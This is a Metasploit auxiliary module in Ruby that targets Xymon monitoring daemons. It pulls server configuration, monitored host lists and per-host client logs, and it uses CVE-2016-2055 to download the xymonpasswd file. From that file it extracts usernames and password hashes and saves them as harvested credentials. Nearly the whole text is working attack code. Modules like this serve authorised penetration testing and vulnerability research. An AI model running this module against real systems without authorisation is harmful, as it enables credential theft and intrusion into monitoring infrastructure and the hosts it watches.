## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report def initialize super( 'Name' => 'Xymon Daemon Gather Information', 'Description' => %q{ This module retrieves information from a Xymon daemon service (formerly Hobbit, based on Big Brother), including server configuration information, a list of monitored hosts, and associated client log for each host. This module also retrieves usernames and password hashes from the `xymonpasswd` config file from Xymon servers before 4.3.25, which permit download arbitrary config files (CVE-2016-2055), and servers configured with `ALLOWALLCONFIGFILES` enabled. }, 'Author' => [ 'Markus Krell', # CVE-2016-2055 discovery 'bcoles' # Metasploit ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2016-2055'], ['PACKETSTORM', '135758'], ['URL', 'https://lists.xymon.com/pipermail/xymon/2016-February/042986.html'], ['URL', 'https://xymon.sourceforge.net/'], ['URL', 'https://en.wikipedia.org/wiki/Xymon'], ['URL', 'https://en.wikipedia.org/wiki/Big_Brother_(software)'] ] ) register_options [Opt::RPORT(1984)] end def xymon_send(cmd) vprint_status "Sending: #{cmd}" connect sock.puts cmd sock.shutdown(:WR) return sock.get(5) ensure disconnect end def run res = xymon_send('ping').to_s unless res.starts_with? 'xymond' print_error 'Target is not a Xymon daemon' return end version = res.scan(/^xymond ([\d\.]+)/).flatten.first unless version print_error 'Could not retrieve Xymon version' end print_status "Xymon daemon version #{version}" service_data = { address: rhost, port: rport, service_name: 'xymond', protocol: 'tcp', info: version, workspace_id: myworkspace_id } xymond_service = report_service(service_data) print_status 'Retrieving configuration files ...' %w(xymonserver.cfg hosts.cfg xymonpasswd).each do |config| res = xymon_send("config #{config}").to_s if res.blank? print_error "Could not retrieve #{config}" next end path = store_loot( "xymon.config.#{config.sub(/\.cfg$/, '')}", 'text/plain', target_host, res, nil, "config #{config}", xymond_service ) print_good "#{config} (#{res.size} bytes) stored in #{path}" if config == 'xymonpasswd' res.each_line.map {|l| l.strip}.reject{|l| l.blank? || l.starts_with?('#')}.each do |c| user = c.split(':')[0].to_s.strip hash = c.split(':')[1].to_s.strip print_good("Credentials: #{user} : #{hash}") credential_data = { module_fullname: fullname, origin_type: :service, private_data: hash, private_type: :nonreplayable_hash, jtr_format: Metasploit::Framework::Hashes.identify_hash(hash), username: user }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_data) create_credential_login(login_data) end end end print_status 'Retrieving host list ...' res = xymon_send('hostinfo').to_s if res.blank? print_error 'Could not retrieve client host list' return end path = store_loot( 'xymon.hostinfo', 'text/plain', target_host, res, nil, 'hostinfo', xymond_service ) print_good "Host info (#{res.size} bytes) stored in #{path}" hosts = res.each_line.map {|line| line.split('|').first}.reject {|host| host.blank?} if hosts.empty? print_error 'Found no client hosts' return end print_good "Found #{hosts.size} hosts" print_status 'Retrieving client logs ...' hosts.each do |host| res = xymon_send("clientlog #{host}") unless res print_error "Could not retrieve client log for #{host}" next end if res.blank? print_status "#{host} client log is empty" next end path = store_loot( "xymon.hosts.#{host}", 'text/plain', target_host, res, nil, "clientlog #{host}", xymond_service ) print_good "#{host} client log (#{res.size} bytes) stored in #{path}" end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue Timeout::Error => e print_error(e.message) end end